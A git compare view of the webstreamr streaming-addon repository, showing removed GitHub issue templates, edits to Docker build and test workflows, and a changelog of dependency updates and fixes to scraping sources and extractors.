Compare commits

..

No commits in common. "main" and "v0.56.4" have entirely different histories.

480 changed files with 13873 additions and 79711 deletions

View file

@ -1,38 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Desktop (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 22]
**Smartphone (please complete the following information):**
- Device: [e.g. iPhone6]
- OS: [e.g. iOS8.1]
- Browser [e.g. stock browser, safari]
- Version [e.g. 22]
**Additional context**
Add any other context about the problem here.

View file

@ -1,20 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.

View file

@ -1,23 +0,0 @@
---
name: Request source/extractor
about: Request a source or extractor to get URLs from
title: Request to add <source/extractor>
labels: enhancement
assignees: ''
---
**What is the site you want to get added?**
A link to the source or embed hoster
**What is the benefit of adding this?**
More content is not a good reason. If it's already covered via an existing source/extractor, why should we add another one?
**Are you aware of any protection the site uses?**
E.g. rate-limits or Cloudflare captchas and such
**What languages does this relate to?**
E.g. multi, German, ..
**Example**
A movie/series IMDb/TMDB ID + source link or embed URL to test with.

View file

@ -9,20 +9,16 @@ jobs:
steps: steps:
- -
name: Login to Docker Hub name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
-
name: Set up QEMU (for cross-arch)
uses: docker/setup-qemu-action@v4
- -
name: Set up Docker Buildx name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- -
name: Build and push name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
push: true push: true
platforms: linux/amd64,linux/arm64
tags: webstreamr/webstreamr:latest tags: webstreamr/webstreamr:latest

View file

@ -1,18 +1,15 @@
name: Build name: Build
on: on: push
push:
pull_request:
workflow_dispatch:
jobs: jobs:
docker: docker:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- -
name: Set up Docker Buildx name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- -
name: Build and push name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
push: false push: false
tags: webstreamr/webstreamr:latest tags: webstreamr/webstreamr:latest

View file

@ -1,17 +1,14 @@
name: Tests name: Tests
on: on: push
push:
pull_request:
workflow_dispatch:
jobs: jobs:
test: test:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v5
- name: Setup Node.js - name: Setup Node.js
uses: actions/setup-node@v6 uses: actions/setup-node@v6
with: with:
node-version: "24" node-version: "22"
- name: Install Dependencies - name: Install Dependencies
run: npm install run: npm install

View file

@ -1,3 +1,3 @@
{ {
".": "0.69.1" ".": "0.56.4"
} }

View file

@ -1,891 +1,5 @@
# Changelog # Changelog
## [0.69.1](https://github.com/webstreamr/webstreamr/compare/v0.69.0...v0.69.1) (2026-03-27)
### Bug Fixes
* **source:** exclude ad videos in HDHub4u ([65191cf](https://github.com/webstreamr/webstreamr/commit/65191cfc8dad8f58b44e2c355b9adc600b99b2bf))
* **source:** remove stray console.log ([bd2dec0](https://github.com/webstreamr/webstreamr/commit/bd2dec03925d8b7760044dbfaaaec00b48f7cb66))
## [0.69.0](https://github.com/webstreamr/webstreamr/compare/v0.68.0...v0.69.0) (2026-03-27)
### Miscellaneous Chores
* **deps:** update dependency axios to v1.14.0 ([#800](https://github.com/webstreamr/webstreamr/issues/800)) ([ad47aec](https://github.com/webstreamr/webstreamr/commit/ad47aecea3f3d34700add442e023bd54f73451c8))
* **extractor:** detect languages from HubCloud title ([89e57d4](https://github.com/webstreamr/webstreamr/commit/89e57d48d95a6f8dd6446048ae72de51dd481f37))
* **extractor:** detect resolution from HubCloud title ([f192fd0](https://github.com/webstreamr/webstreamr/commit/f192fd0b7523094746148989e0cf06717db8152e))
* remove duplicate URLs ([b87bf62](https://github.com/webstreamr/webstreamr/commit/b87bf62362f3cd6b3ea055ecdaec44511bf2ec84))
### Features
* **source:** add HDHub4u ([43f0445](https://github.com/webstreamr/webstreamr/commit/43f04455f17063e459df7e7a34af44de36afd6fc))
### Bug Fixes
* **extractor:** don't fail for HubDrive if HubCloud link is missing ([557efd2](https://github.com/webstreamr/webstreamr/commit/557efd207945ea7ada0bcaf475b0b9b9d60d8f5b))
### Code Refactoring
* **source:** extract hd hub link redirect resolver ([43637a2](https://github.com/webstreamr/webstreamr/commit/43637a2ff4280db208ec9c94c0a5d52a49dc6672))
## [0.68.0](https://github.com/webstreamr/webstreamr/compare/v0.67.0...v0.68.0) (2026-03-26)
### Features
* exclude resolution config options ([4c7da5d](https://github.com/webstreamr/webstreamr/commit/4c7da5dc208a1854a17aa43a26553fb6c83e7287))
## [0.67.0](https://github.com/webstreamr/webstreamr/compare/v0.66.16...v0.67.0) (2026-03-25)
### Miscellaneous Chores
* **deps:** update dependency typescript-eslint to v8.57.2 ([#795](https://github.com/webstreamr/webstreamr/issues/795)) ([5cffa11](https://github.com/webstreamr/webstreamr/commit/5cffa112bac29ee4eb18958f5345f0a3ae68ff30))
### Features
* **extractor:** support FSLv2 server in HubCloud ([e36d460](https://github.com/webstreamr/webstreamr/commit/e36d460d57bdc071fc111b1459ea26184a3233e3))
## [0.66.16](https://github.com/webstreamr/webstreamr/compare/v0.66.15...v0.66.16) (2026-03-23)
### Documentation
* remove mention of XDMovies ([b60496b](https://github.com/webstreamr/webstreamr/commit/b60496bf224f1869626bceaa7e3eebabfdec8754))
### Bug Fixes
* **source:** remove XDMovies ([ff39c59](https://github.com/webstreamr/webstreamr/commit/ff39c594755b586ec4214d942c04026b873854fd))
## [0.66.15](https://github.com/webstreamr/webstreamr/compare/v0.66.14...v0.66.15) (2026-03-23)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#792](https://github.com/webstreamr/webstreamr/issues/792)) ([fc3d61b](https://github.com/webstreamr/webstreamr/commit/fc3d61b05a31c00607c7309ed04c8438c8f344f7))
* **deps:** update dependency cacheable to v2.3.4 ([#789](https://github.com/webstreamr/webstreamr/issues/789)) ([b2b9760](https://github.com/webstreamr/webstreamr/commit/b2b9760445f7b1a987f5aa795ef3a5302e753178))
### Bug Fixes
* **extractor:** hard-code referer for Dropload and SuperVideo for now ([eecf9c4](https://github.com/webstreamr/webstreamr/commit/eecf9c42c5f95266fe1ec0deba1042741efe7306))
## [0.66.14](https://github.com/webstreamr/webstreamr/compare/v0.66.13...v0.66.14) (2026-03-17)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#784](https://github.com/webstreamr/webstreamr/issues/784)) ([9eca05e](https://github.com/webstreamr/webstreamr/commit/9eca05efc5c56dc0c008b6cac6314c2849e11382))
* **deps:** update dependency typescript-eslint to v8.57.1 ([#786](https://github.com/webstreamr/webstreamr/issues/786)) ([b769cd0](https://github.com/webstreamr/webstreamr/commit/b769cd0aa1f8284c921f68c620fa01565097952b))
* **extractor:** add cacheVersion and bump it for HubCloud and HubDrive ([ee3effa](https://github.com/webstreamr/webstreamr/commit/ee3effaf0079ee932d6b8a93ead0f095ea7e4906))
### Bug Fixes
* **extractor:** add PixelDrain referer to HubCloud extractor ([693a77e](https://github.com/webstreamr/webstreamr/commit/693a77e73e984e81aee9a702092c5ef098d4e48f))
* **extractor:** reduce HubCloud + HubDrive ttl to 12h ([296f047](https://github.com/webstreamr/webstreamr/commit/296f0478b03c4dfd4927c0e53037ce8f9de64872))
## [0.66.13](https://github.com/webstreamr/webstreamr/compare/v0.66.12...v0.66.13) (2026-03-14)
### Bug Fixes
* downgrade sqlite for now ([66ee72b](https://github.com/webstreamr/webstreamr/commit/66ee72baf02560ca4bed0864869ab8046e85d0eb))
## [0.66.12](https://github.com/webstreamr/webstreamr/compare/v0.66.11...v0.66.12) (2026-03-14)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#779](https://github.com/webstreamr/webstreamr/issues/779)) ([b7093ed](https://github.com/webstreamr/webstreamr/commit/b7093ed4ae37cc4e4a2603bd6c8dac0118f8e617))
* **deps:** update dependency slugify to v1.6.8 ([#777](https://github.com/webstreamr/webstreamr/issues/777)) ([20289ea](https://github.com/webstreamr/webstreamr/commit/20289eaeaf8710c4cfb60d661061c62a3cfa4aeb))
### Bug Fixes
* require sqlite with alpine fix ([0f004dc](https://github.com/webstreamr/webstreamr/commit/0f004dc878c1c1a24cae553100426c61d45841a9))
## [0.66.11](https://github.com/webstreamr/webstreamr/compare/v0.66.10...v0.66.11) (2026-03-13)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#764](https://github.com/webstreamr/webstreamr/issues/764)) ([394dc91](https://github.com/webstreamr/webstreamr/commit/394dc91bfa0a2382ad7d084f02a2f99b7eb91ca5))
* **deps:** update dependency @types/node to v24.12.0 ([#763](https://github.com/webstreamr/webstreamr/issues/763)) ([7de0468](https://github.com/webstreamr/webstreamr/commit/7de046838d8c851caf7ec164c441b77907705c89))
* **deps:** update dependency express-rate-limit to v8.3.1 ([#765](https://github.com/webstreamr/webstreamr/issues/765)) ([e90b558](https://github.com/webstreamr/webstreamr/commit/e90b5583a7c2d005e53b60f8152eb4e37dd6591b))
* **deps:** update dependency tough-cookie to v6.0.1 ([#773](https://github.com/webstreamr/webstreamr/issues/773)) ([2734fb4](https://github.com/webstreamr/webstreamr/commit/2734fb4d0db6c658022ba1d6a89b90c7194d84b9))
* **deps:** update dependency typescript-eslint to v8.57.0 ([#766](https://github.com/webstreamr/webstreamr/issues/766)) ([ad3d0b3](https://github.com/webstreamr/webstreamr/commit/ad3d0b317e476621bef309b95fd683bd0b47fa38))
* **deps:** update eslint monorepo to v9.39.4 ([#761](https://github.com/webstreamr/webstreamr/issues/761)) ([955872a](https://github.com/webstreamr/webstreamr/commit/955872a8254e1ab93e298df720ae1e618d2fd3bc))
* **deps:** update jest monorepo to v30.3.0 ([#767](https://github.com/webstreamr/webstreamr/issues/767)) ([b522314](https://github.com/webstreamr/webstreamr/commit/b5223148c7ed336136c4182aaaa59f031ea6dc2a))
### Bug Fixes
* **deps:** update dependency sqlite3 to v6 ([#772](https://github.com/webstreamr/webstreamr/issues/772)) ([930e819](https://github.com/webstreamr/webstreamr/commit/930e8191beac055e8b82ee9a79bd78f56b2613a2))
* **extractor:** add missing VOE domain ([c78c1ad](https://github.com/webstreamr/webstreamr/commit/c78c1ad628c81391bdead00273e3a346983b1f45))
* **source:** switch to new Frembed URL and resolve link redirects ([8fe4cc5](https://github.com/webstreamr/webstreamr/commit/8fe4cc5a9bf37612647ed348cf76702fdbf6857e))
## [0.66.10](https://github.com/webstreamr/webstreamr/compare/v0.66.9...v0.66.10) (2026-03-06)
### Miscellaneous Chores
* **deps:** update dependency @stylistic/eslint-plugin to v5.10.0 ([#760](https://github.com/webstreamr/webstreamr/issues/760)) ([4e43650](https://github.com/webstreamr/webstreamr/commit/4e436509bf8b6bed5d1d879756f7cccba28b0d6a))
* **deps:** update dependency axios-cache-interceptor to v1.12.0 ([#755](https://github.com/webstreamr/webstreamr/issues/755)) ([edebd86](https://github.com/webstreamr/webstreamr/commit/edebd860aa3c4c01b6444c0296e21279ea3231ff))
* **deps:** update dependency express-rate-limit to v8.3.0 ([#758](https://github.com/webstreamr/webstreamr/issues/758)) ([f58e0e1](https://github.com/webstreamr/webstreamr/commit/f58e0e1f4f6c4db1e4efbeba6278a5358d1f6a56))
* **deps:** update docker/build-push-action action to v7 ([#759](https://github.com/webstreamr/webstreamr/issues/759)) ([737a806](https://github.com/webstreamr/webstreamr/commit/737a8063a8921a8fd0247e2cb3c053030b018294))
* **deps:** update docker/login-action action to v4 ([#750](https://github.com/webstreamr/webstreamr/issues/750)) ([6b8363b](https://github.com/webstreamr/webstreamr/commit/6b8363bd9c970b8760a1412a66086b120422567f))
* **deps:** update docker/setup-buildx-action action to v4 ([#757](https://github.com/webstreamr/webstreamr/issues/757)) ([d2e72b0](https://github.com/webstreamr/webstreamr/commit/d2e72b0756e8a86d64e6c70e168b689429d4b3d7))
### Bug Fixes
* **extractor:** use Dropload hosting URL origin as Referer ([423abf2](https://github.com/webstreamr/webstreamr/commit/423abf2479b7dffde3138c6043eb1f2854e4b077))
## [0.66.9](https://github.com/webstreamr/webstreamr/compare/v0.66.8...v0.66.9) (2026-03-04)
### Miscellaneous Chores
* add referral ([a5e429f](https://github.com/webstreamr/webstreamr/commit/a5e429fea365ee04a3bd32f07676a852511be852))
* **deps:** update docker/setup-qemu-action action to v4 ([#749](https://github.com/webstreamr/webstreamr/issues/749)) ([b36e148](https://github.com/webstreamr/webstreamr/commit/b36e1484eb51b7d86352c6f78f2f4c21adba28d0))
### Documentation
* use default branch for tests badge ([6d5870c](https://github.com/webstreamr/webstreamr/commit/6d5870ccb219bcb6448aac732914d02f59b8b602))
## [0.66.8](https://github.com/webstreamr/webstreamr/compare/v0.66.7...v0.66.8) (2026-03-02)
### Documentation
* add known issues / limitations section ([438387f](https://github.com/webstreamr/webstreamr/commit/438387faee8fb8604f4de7c1a7876be40d79fa79))
* add more limitations ([aa820e1](https://github.com/webstreamr/webstreamr/commit/aa820e1f6463d216ad12c44587b7134f424e1c9a))
* add more references ([38d0ac5](https://github.com/webstreamr/webstreamr/commit/38d0ac53059ed338718a759c76c425a2458fa5c2))
### Bug Fixes
* **extractor:** use Dropload playlist headers also internally ([7dfc599](https://github.com/webstreamr/webstreamr/commit/7dfc599de900c34703e41eeea5c4e459da6380cf))
## [0.66.7](https://github.com/webstreamr/webstreamr/compare/v0.66.6...v0.66.7) (2026-03-02)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#745](https://github.com/webstreamr/webstreamr/issues/745)) ([8ea6d4f](https://github.com/webstreamr/webstreamr/commit/8ea6d4fe3709067c1a2c30dcbf53567e10f102dc))
* **deps:** update dependency @types/node to v24.11.0 ([#744](https://github.com/webstreamr/webstreamr/issues/744)) ([282b3d0](https://github.com/webstreamr/webstreamr/commit/282b3d05b32bbcc6e2ac2137e3cb96974ee4ddfb))
* **deps:** update dependency axios to v1.13.6 ([#736](https://github.com/webstreamr/webstreamr/issues/736)) ([50e024a](https://github.com/webstreamr/webstreamr/commit/50e024a3ea1b2326fad7f2fcb59324d34a8561a2))
* **deps:** update dependency cacheable to v2.3.3 ([#737](https://github.com/webstreamr/webstreamr/issues/737)) ([168d028](https://github.com/webstreamr/webstreamr/commit/168d0280dcef9402815e353bc162af5bbf11af84))
### Bug Fixes
* **extractor:** add referer as proxy header for Dropload ([bbb80f3](https://github.com/webstreamr/webstreamr/commit/bbb80f3cf0b918668149f5f6be1a2c38157a414b))
## [0.66.6](https://github.com/webstreamr/webstreamr/compare/v0.66.5...v0.66.6) (2026-02-25)
### Miscellaneous Chores
* **deps:** update dependency minimatch to v10.2.3 ([#715](https://github.com/webstreamr/webstreamr/issues/715)) ([ce4637e](https://github.com/webstreamr/webstreamr/commit/ce4637ea80adaee5f7c325defd9676533dfb884e))
* **deps:** update dependency minimatch to v10.2.4 ([#735](https://github.com/webstreamr/webstreamr/issues/735)) ([354c273](https://github.com/webstreamr/webstreamr/commit/354c2731d8ffe1948f5ff8647a7be668c6ce5cbd))
* **deps:** update dependency typescript-eslint to v8.56.1 ([#734](https://github.com/webstreamr/webstreamr/issues/734)) ([73ce5f3](https://github.com/webstreamr/webstreamr/commit/73ce5f372d5c2c2be39d1f36fa104afbdee41b77))
* **fetcher:** cache whole flaresolverr solution and also use status from it ([221fa98](https://github.com/webstreamr/webstreamr/commit/221fa989f4c51e13308a41e59dd088a2b0128e45))
## [0.66.5](https://github.com/webstreamr/webstreamr/compare/v0.66.4...v0.66.5) (2026-02-23)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#730](https://github.com/webstreamr/webstreamr/issues/730)) ([6c10236](https://github.com/webstreamr/webstreamr/commit/6c102362fde48af0a6857f8ab66bc42385a3411a))
### Bug Fixes
* **extractor:** remove StreamUp ([556b20e](https://github.com/webstreamr/webstreamr/commit/556b20e6690c251e86e10740b45ca0b4c614b222))
* **source:** add support for old XDMovies uploads without URL protector ([964e979](https://github.com/webstreamr/webstreamr/commit/964e9794695201367900ae6e4eda4ad439652222))
### Performance Improvements
* cache all non-error requests for 15m, tune axios caching ([ae10810](https://github.com/webstreamr/webstreamr/commit/ae10810caaebb909ffe5c51c37dc4a01184391a9))
## [0.66.4](https://github.com/webstreamr/webstreamr/compare/v0.66.3...v0.66.4) (2026-02-21)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#708](https://github.com/webstreamr/webstreamr/issues/708)) ([ccdd460](https://github.com/webstreamr/webstreamr/commit/ccdd4600bba1041b5f2f2515c730856eb729991f))
* **deps:** lock file maintenance ([#718](https://github.com/webstreamr/webstreamr/issues/718)) ([d0f3e0f](https://github.com/webstreamr/webstreamr/commit/d0f3e0f9316770fe47d0395269dafe155fa1e17d))
* **deps:** update dependency @stylistic/eslint-plugin to v5.8.0 ([#709](https://github.com/webstreamr/webstreamr/issues/709)) ([1ae12fa](https://github.com/webstreamr/webstreamr/commit/1ae12fa0f790566193bfe42f3457fe9d4e976502))
* **deps:** update dependency @stylistic/eslint-plugin to v5.9.0 ([#723](https://github.com/webstreamr/webstreamr/issues/723)) ([bd160eb](https://github.com/webstreamr/webstreamr/commit/bd160eb32ce3719bfbebb468a5b2e45d9b4a35ce))
* **deps:** update dependency @types/node to v24.10.12 ([#707](https://github.com/webstreamr/webstreamr/issues/707)) ([3f35ecf](https://github.com/webstreamr/webstreamr/commit/3f35ecf6f3eab3c2c789a176be73d1a80539762d))
* **deps:** update dependency @types/node to v24.10.13 ([#717](https://github.com/webstreamr/webstreamr/issues/717)) ([524630d](https://github.com/webstreamr/webstreamr/commit/524630d671a74dd844ce0f629b4ccae1f88cf6e6))
* **deps:** update dependency axios to v1.13.5 ([#705](https://github.com/webstreamr/webstreamr/issues/705)) ([de13209](https://github.com/webstreamr/webstreamr/commit/de13209709071f8f5241f209a0dbc75232925c3c))
* **deps:** update dependency glob to v13.0.1 ([#698](https://github.com/webstreamr/webstreamr/issues/698)) ([72c191f](https://github.com/webstreamr/webstreamr/commit/72c191fbc10ed9524e698609736f01de0f236c43))
* **deps:** update dependency glob to v13.0.2 ([#711](https://github.com/webstreamr/webstreamr/issues/711)) ([eccea52](https://github.com/webstreamr/webstreamr/commit/eccea520b7cf8b997a694c6f4fded3cbc74b960a))
* **deps:** update dependency glob to v13.0.3 ([#714](https://github.com/webstreamr/webstreamr/issues/714)) ([65a0e57](https://github.com/webstreamr/webstreamr/commit/65a0e57ab9694648977822f73d89e641feabf893))
* **deps:** update dependency glob to v13.0.4 ([#720](https://github.com/webstreamr/webstreamr/issues/720)) ([245dcf6](https://github.com/webstreamr/webstreamr/commit/245dcf6007b6e02d767246463b224e18eecaccb8))
* **deps:** update dependency glob to v13.0.5 ([#721](https://github.com/webstreamr/webstreamr/issues/721)) ([fb354b4](https://github.com/webstreamr/webstreamr/commit/fb354b47461f58a25c245dcac65ca2de26302207))
* **deps:** update dependency glob to v13.0.6 ([#724](https://github.com/webstreamr/webstreamr/issues/724)) ([23db19d](https://github.com/webstreamr/webstreamr/commit/23db19d07317350d007b646c6915bb9fef60b165))
* **deps:** update dependency nodemon to v3.1.12 ([#725](https://github.com/webstreamr/webstreamr/issues/725)) ([5bfbd94](https://github.com/webstreamr/webstreamr/commit/5bfbd94e51e1c7291e12ac912578fcbf6bb39232))
* **deps:** update dependency nodemon to v3.1.13 ([#726](https://github.com/webstreamr/webstreamr/issues/726)) ([728ed7e](https://github.com/webstreamr/webstreamr/commit/728ed7ec0631d8de8df12626cdea857b1aad1059))
* **deps:** update dependency nodemon to v3.1.14 ([#728](https://github.com/webstreamr/webstreamr/issues/728)) ([3bb7a80](https://github.com/webstreamr/webstreamr/commit/3bb7a800e3662e0bd2ae31ec4b4a61eaee5dde6c))
* **deps:** update dependency typescript-eslint to v8.55.0 ([#710](https://github.com/webstreamr/webstreamr/issues/710)) ([7ec9c5b](https://github.com/webstreamr/webstreamr/commit/7ec9c5b1473e1e04203421ebbdd0c8d904744e99))
* **deps:** update dependency typescript-eslint to v8.56.0 ([#719](https://github.com/webstreamr/webstreamr/issues/719)) ([94f5c74](https://github.com/webstreamr/webstreamr/commit/94f5c7438d82f96edfb0692e55eb071642d008a9))
* **deps:** update eslint monorepo to v9.39.3 ([#727](https://github.com/webstreamr/webstreamr/issues/727)) ([26b6143](https://github.com/webstreamr/webstreamr/commit/26b6143152b8b15f2d79f747dbdb8cb48137a46a))
* **extractor:** adapt mixdrop host check ([34500ea](https://github.com/webstreamr/webstreamr/commit/34500ea3fc11376eb99a86a08c179137239d612d))
### Bug Fixes
* **source:** handle new XDMovies URL protection ([cf8fb4c](https://github.com/webstreamr/webstreamr/commit/cf8fb4cfa47741ef8cb3fd214e7eff24ecc72375))
## [0.66.3](https://github.com/webstreamr/webstreamr/compare/v0.66.2...v0.66.3) (2026-02-03)
### Performance Improvements
* **fetcher:** simplify FlareSolverr integration by just using a request per host ([31da8aa](https://github.com/webstreamr/webstreamr/commit/31da8aa92c48618b0b52fd2194262685c947e02e))
## [0.66.2](https://github.com/webstreamr/webstreamr/compare/v0.66.1...v0.66.2) (2026-02-03)
### Performance Improvements
* **fetcher:** improve FlareSolverr integration ([ae5829d](https://github.com/webstreamr/webstreamr/commit/ae5829dcb0f8064e939c06d6457f891b1c7051c8))
## [0.66.1](https://github.com/webstreamr/webstreamr/compare/v0.66.0...v0.66.1) (2026-02-02)
### Bug Fixes
* **source:** make XDMovies a fallback source to avoid hubcloud and many duplicates ([2612860](https://github.com/webstreamr/webstreamr/commit/2612860f1525a8f803e6d37aabdf5fd28b3d287f))
## [0.66.0](https://github.com/webstreamr/webstreamr/compare/v0.65.10...v0.66.0) (2026-02-02)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#692](https://github.com/webstreamr/webstreamr/issues/692)) ([455d84d](https://github.com/webstreamr/webstreamr/commit/455d84d5b186ff916734977bd2b4cb0b355ca485))
### Features
* **source:** add XDMovies ([1f4d81b](https://github.com/webstreamr/webstreamr/commit/1f4d81bfc99066bfe6dafd3da7ffc8b13cdfffc1))
### Bug Fixes
* **fetcher:** never block flaresolverr timeouts ([c23ffa3](https://github.com/webstreamr/webstreamr/commit/c23ffa382d862ced1a385cf36d895f75ad3b7e97))
## [0.65.10](https://github.com/webstreamr/webstreamr/compare/v0.65.9...v0.65.10) (2026-01-28)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#686](https://github.com/webstreamr/webstreamr/issues/686)) ([0743111](https://github.com/webstreamr/webstreamr/commit/074311107a96cb3ed3c3dd2af6828a9a28bbe705))
* **deps:** update dependency axios to v1.13.3 ([#685](https://github.com/webstreamr/webstreamr/issues/685)) ([19a73b3](https://github.com/webstreamr/webstreamr/commit/19a73b38669a809a473e69872be5816807da5d13))
* **deps:** update dependency axios to v1.13.4 ([#689](https://github.com/webstreamr/webstreamr/issues/689)) ([5c87c5d](https://github.com/webstreamr/webstreamr/commit/5c87c5d9e2b52aeb1665212144d06cca7e6147a4))
* **deps:** update dependency typescript-eslint to v8.54.0 ([#687](https://github.com/webstreamr/webstreamr/issues/687)) ([8f8ecb8](https://github.com/webstreamr/webstreamr/commit/8f8ecb868e5fb1dc03073ff0b53d416087ca5437))
* **extractor:** add new VOE domain ([75c9509](https://github.com/webstreamr/webstreamr/commit/75c9509793f582fd566ece0694fc6961df5f7f61))
* **extractor:** increase Fsst TTL to 3 hours ([a876c9b](https://github.com/webstreamr/webstreamr/commit/a876c9b14489f713460e56a32bcf39a3e4897796))
* **extractor:** increase StreamEmbed TTL to 3d ([e52cee2](https://github.com/webstreamr/webstreamr/commit/e52cee212508a1945bc810bda5ce07c3322769a2))
### Bug Fixes
* **extractor:** avoid caching results with empty meta, add some self-healing ([2ba6e4f](https://github.com/webstreamr/webstreamr/commit/2ba6e4fa358ca89aa522e1e97b4e2ed3ded7114a))
* **extractor:** ensure every result has a ttl ([db860c2](https://github.com/webstreamr/webstreamr/commit/db860c25c687b87bbec34bc72995ed47aa9115aa))
### Code Refactoring
* **extractor:** introduce internal type to reduce common code ([50a7e55](https://github.com/webstreamr/webstreamr/commit/50a7e5559bfa98305e006f8b7833aa2952d65029))
## [0.65.9](https://github.com/webstreamr/webstreamr/compare/v0.65.8...v0.65.9) (2026-01-23)
### Miscellaneous Chores
* **deps:** update dependency @keyv/sqlite to v4.0.8 ([#677](https://github.com/webstreamr/webstreamr/issues/677)) ([e5197fd](https://github.com/webstreamr/webstreamr/commit/e5197fdb8be200235514fe9de5d5e1ad98fb6a12))
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.1 ([#682](https://github.com/webstreamr/webstreamr/issues/682)) ([622b1b3](https://github.com/webstreamr/webstreamr/commit/622b1b3bcc6890e5d926611184c90b392959caaa))
* **deps:** update dependency axios-cache-interceptor to v1.11.4 ([#678](https://github.com/webstreamr/webstreamr/issues/678)) ([d3db3fc](https://github.com/webstreamr/webstreamr/commit/d3db3fc5129e3450630d384c849cec4ae83158f8))
* **deps:** update dependency cheerio to v1.2.0 ([#683](https://github.com/webstreamr/webstreamr/issues/683)) ([43e16f5](https://github.com/webstreamr/webstreamr/commit/43e16f5bfa8447b22ae402928aa9b7c18ce14299))
### Bug Fixes
* **extractor:** use full cached meta to avoid invalid cache states ([a90d7b1](https://github.com/webstreamr/webstreamr/commit/a90d7b1cad8501a2fa74aa8e457e2249bde4e2ae))
### Code Refactoring
* **cache:** extract clearCache function ([12ea135](https://github.com/webstreamr/webstreamr/commit/12ea135feb4d7f363a4eefb48588f063815eeaf0))
* **cache:** make code more dry and return in-memory cache for test env ([a5539bc](https://github.com/webstreamr/webstreamr/commit/a5539bcf595761a973fafda77db8741f8d0c35a8))
## [0.65.8](https://github.com/webstreamr/webstreamr/compare/v0.65.7...v0.65.8) (2026-01-20)
### Miscellaneous Chores
* add env var for one-time cache file deletion ([93fe1ae](https://github.com/webstreamr/webstreamr/commit/93fe1ae871a91b5a94b79a91e7b1e97497086c29))
* **deps:** update dependency typescript-eslint to v8.53.1 ([#674](https://github.com/webstreamr/webstreamr/issues/674)) ([7c88658](https://github.com/webstreamr/webstreamr/commit/7c886583c97ffa6edc92690c8412e7241a7b3f86))
* **extractor:** add lauradaydo.com to VOE ([3c979e7](https://github.com/webstreamr/webstreamr/commit/3c979e77cc3f6790e17bb3982012aad668c202db))
* npm audit fix ([28a83e2](https://github.com/webstreamr/webstreamr/commit/28a83e2f29ed6ca10a58ba61d9dcdee2d591b2ad))
### Bug Fixes
* **extractor:** never use external URL results for lazy URL caching to avoid clashes ([1ddc8d9](https://github.com/webstreamr/webstreamr/commit/1ddc8d99d6443f36381b36fd7daaf69eec5b39c2))
* **extractor:** use MediaFlow Proxy for DoodStream ([#676](https://github.com/webstreamr/webstreamr/issues/676)) ([a00fa2c](https://github.com/webstreamr/webstreamr/commit/a00fa2c3d65ace25783532066e33d105a17b2853))
## [0.65.7](https://github.com/webstreamr/webstreamr/compare/v0.65.6...v0.65.7) (2026-01-19)
### Bug Fixes
* pass empty array instead of undefined if meta has no countries ([e8ed29e](https://github.com/webstreamr/webstreamr/commit/e8ed29eb9dea2bfe52fc2c2f07c8c245b08bee3e))
## [0.65.6](https://github.com/webstreamr/webstreamr/compare/v0.65.5...v0.65.6) (2026-01-19)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#669](https://github.com/webstreamr/webstreamr/issues/669)) ([7c99e4d](https://github.com/webstreamr/webstreamr/commit/7c99e4d1c1d1195235b18639f21ac5d38d29e722))
* **deps:** update dependency @types/node to v24.10.9 ([#668](https://github.com/webstreamr/webstreamr/issues/668)) ([aeb15d8](https://github.com/webstreamr/webstreamr/commit/aeb15d86400c16d9594cd8e9f29fc2a366db69f7))
### Bug Fixes
* **extractor:** use correct referer for rgshows, treat vidzee response as block ([d259587](https://github.com/webstreamr/webstreamr/commit/d25958749119c0d4600609197323dd8e5463d65d))
* log all unhandled errors inside next handlers, terminate app properly for unhandled error outside ([646e75d](https://github.com/webstreamr/webstreamr/commit/646e75d5f88b3083f8fe491a238d1b5e061909a9))
## [0.65.5](https://github.com/webstreamr/webstreamr/compare/v0.65.4...v0.65.5) (2026-01-18)
### Miscellaneous Chores
* add issue templates ([5fd6202](https://github.com/webstreamr/webstreamr/commit/5fd62028ce56e03750a4aa415760076cfed793ce))
* add priority for sorting, move VixSrc up and RgShows down ([7b708e2](https://github.com/webstreamr/webstreamr/commit/7b708e23851ce191439cbfbe625db07f6554ac8f))
* **deps:** update dependency cacheable to v2.3.2 ([#667](https://github.com/webstreamr/webstreamr/issues/667)) ([8aa1344](https://github.com/webstreamr/webstreamr/commit/8aa1344fa590b7ab1fdeecf43f5a55472186805a))
* **fetcher:** tune FlareSolverr timeouts and use other cookie variants too ([5b49dd0](https://github.com/webstreamr/webstreamr/commit/5b49dd07356efce2e542fde8bc1fdba7bdf39b32))
### Bug Fixes
